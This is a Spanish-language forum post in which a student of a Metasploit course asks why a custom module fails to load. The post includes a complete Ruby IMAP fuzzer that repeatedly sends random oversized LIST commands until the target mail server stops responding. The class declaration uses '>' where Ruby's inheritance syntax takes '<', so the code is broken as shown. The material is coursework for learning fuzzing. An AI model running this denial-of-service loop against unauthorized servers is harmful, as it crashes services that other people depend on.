Error al agregar modulo en metasploit

Iniciado por nexusz, Mayo 18, 2016, 04:17:58 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 18, 2016, 04:17:58 AM Ultima modificación: Mayo 18, 2016, 05:23:35 AM por blackdrake
Buenas,estoy haciendo el curso de metasploit de ofensive security,queria agregar un fuzzer para imap que es el siguiente codigo:
Código: php
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 > Msf::Auxiliary

    include Msf::Exploit::Remote::Imap
    include Msf::Auxiliary::Dos

    def initialize
        super(
            'Name'           => 'Simple IMAP Fuzzer',
            'Description'    => %q{
                                An example of how to build a simple IMAP fuzzer.
                                Account IMAP credentials are required in this fuzzer.
                        },
            'Author'         => [ 'ryujin' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1 $'
        )
    end

    def fuzz_str()
        return Rex::Text.rand_text_alphanumeric(rand(1024))
    end

    def run()
        srand(0)
        while (true)
            connected = connect_login()
            if not connected
                print_status("Host is not responding - this is G00D ;)")
                break
            end
            print_status("Generating fuzzed data...")
            fuzzed = fuzz_str()
            print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
            req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
            print_status(req)
            res = raw_send_recv(req)
                if !res.nil?
            print_status(res)
                else
                    print_status("Server crashed, no response")
                    break
                end
            disconnect()
        end
    end
end


lo guardo en formato .rb y lo copio en la carpeta de metasploit en la siguiente ruta: auxiliary/dos/windows/imap/
y ejecuto metasploit pongo el siguiente comando: use auxiliary/dos/windows/imap/nombredemifuzzer.rb
y me dice q fallo el modulo como que no lo reconoce.que puede ser?

desde ya gracias